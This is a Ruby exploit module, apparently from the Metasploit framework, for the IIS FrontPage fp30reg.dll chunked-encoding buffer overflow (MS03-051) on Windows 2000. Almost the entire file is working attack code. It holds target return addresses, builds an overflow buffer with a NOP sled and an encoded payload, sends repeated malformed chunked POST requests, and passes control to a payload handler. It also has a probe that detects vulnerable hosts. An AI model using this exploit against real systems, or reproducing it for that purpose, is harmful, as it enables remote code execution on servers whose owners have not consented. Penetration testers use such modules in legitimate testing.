107 lines
2.6 KiB
Ruby
107 lines
2.6 KiB
Ruby
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require 'msf/core'
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module Msf
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class Exploits::Windows::Isapi::IIS_FP30REG_Chunked < Msf::Exploit::Remote
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include Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'IIS FrontPage fp30reg.dll Chunked Overflow',
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'Description' => %q{
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This is an exploit for the chunked encoding buffer overflow
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described in MS03-051 and originally reported by Brett
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Moore. This particular modules works against versions of
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Windows 2000 between SP0 and SP3. Service Pack 4 fixes the
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issue.
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},
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'Author' => [ 'hdm' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '2952'],
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[ 'MSB', 'MS03-051'],
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[ 'MIL', '29'],
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['Windows 2000 SP0-SP3', { 'Ret' => 0x6c38a4d0 }], # from mfc42.dll
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['Windows 2000 07/22/02', { 'Ret' => 0x67d44eb1 }], # from fp30reg.dll 07/22/2002
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['Windows 2000 10/06/99', { 'Ret' => 0x67d4665d }], # from fp30reg.dll 10/06/1999
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],
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'DisclosureDate' => 'Nov 11 2003',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('URL', [ true, "The path to fp30reg.dll.dll", "/_vti_bin/_vti_aut/fp30reg.dll" ]),
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], self.class)
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end
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def exploit
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c = connect
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pat = Rex::Text.rand_text_alphanumeric(0xdead)
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pat[128, 4] = [target.ret].pack('V')
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pat[264, 4] = [target.ret].pack('V')
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pat[160, 7] = "\x2d\xff\xfe\xff\xff" + "\xff\xe0"
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pat[280, 512] = make_nops(512)
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pat[792, payload.encoded.length] = payload.encoded
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1.upto(15) do |i|
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if (i % 3 == 0)
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print_status("Refreshing the remote DLLHost.exe process...")
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c.send_request(c.request({ 'uri' => datastore['URL'] }), -1)
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end
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c.connect
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s = c.conn
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print_status("Trying to exploit fp30reg.dll (#{i.to_s} of 15)")
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req =
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"POST #{datastore['URL']} HTTP/1.1\r\n" +
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"Host: #{datastore['VHOST'] || datastore['RHOST']}\r\n" +
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"Transfer-Encoding: Chunked\r\n\r\n" +
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"DEAD\r\n" +
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pat + "\r\n" +
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"0\r\n"
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s.put(req)
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select(nil, nil, nil, 1)
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handler
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disconnect
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end
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end
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def check
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c = connect
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print_status("Refreshing the remote DLLHost.exe process...")
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r = c.send_request(c.request({ 'uri' => datastore['URL'] }), -1)
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disconnect
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if (r and r.code == 501)
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return Exploit::CheckCode::Detected
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end
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return Exploit::CheckCode::Safe
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end
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end
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end
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